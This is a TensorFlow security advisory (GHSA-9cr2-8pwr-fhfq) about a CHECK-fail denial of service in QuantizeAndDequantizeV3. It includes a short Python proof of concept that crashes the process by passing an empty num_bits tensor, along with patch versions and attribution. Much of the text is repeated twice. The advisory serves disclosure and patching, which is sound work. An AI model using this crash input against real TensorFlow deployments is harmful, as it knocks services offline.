Headline
GHSA-9cr2-8pwr-fhfq: TensorFlow vulnerable to `CHECK` fail in `QuantizeAndDequantizeV3`
Impact
If QuantizeAndDequantizeV3 is given a nonscalar num_bits input tensor, it results in a CHECK fail that can be used to trigger a denial of service attack.
import tensorflow as tf
signed_input = True
range_given = False
narrow_range = False
axis = -1
input = tf.constant(-3.5, shape=[1], dtype=tf.float32)
input_min = tf.constant(-3.5, shape=[1], dtype=tf.float32)
input_max = tf.constant(-3.5, shape=[1], dtype=tf.float32)
num_bits = tf.constant([], shape=[0], dtype=tf.int32)
tf.raw_ops.QuantizeAndDequantizeV3(input=input, input_min=input_min, input_max=input_max, num_bits=num_bits, signed_input=signed_input, range_given=range_given, narrow_range=narrow_range, axis=axis)
Patches
We have patched the issue in GitHub commit f3f9cb38ecfe5a8a703f2c4a8fead434ef291713.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
Impact
If QuantizeAndDequantizeV3 is given a nonscalar num_bits input tensor, it results in a CHECK fail that can be used to trigger a denial of service attack.
import tensorflow as tf
signed_input = True range_given = False narrow_range = False axis = -1 input = tf.constant(-3.5, shape=[1], dtype=tf.float32) input_min = tf.constant(-3.5, shape=[1], dtype=tf.float32) input_max = tf.constant(-3.5, shape=[1], dtype=tf.float32) num_bits = tf.constant([], shape=[0], dtype=tf.int32) tf.raw_ops.QuantizeAndDequantizeV3(input=input, input_min=input_min, input_max=input_max, num_bits=num_bits, signed_input=signed_input, range_given=range_given, narrow_range=narrow_range, axis=axis)
Patches
We have patched the issue in GitHub commit f3f9cb38ecfe5a8a703f2c4a8fead434ef291713.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
References
- GHSA-9cr2-8pwr-fhfq
- tensorflow/tensorflow@f3f9cb3
- https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0
Related news
TensorFlow is an open source platform for machine learning. If `QuantizeAndDequantizeV3` is given a nonscalar `num_bits` input tensor, it results in a `CHECK` fail that can be used to trigger a denial of service attack. We have patched the issue in GitHub commit f3f9cb38ecfe5a8a703f2c4a8fead434ef291713. The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. There are no known workarounds for this issue.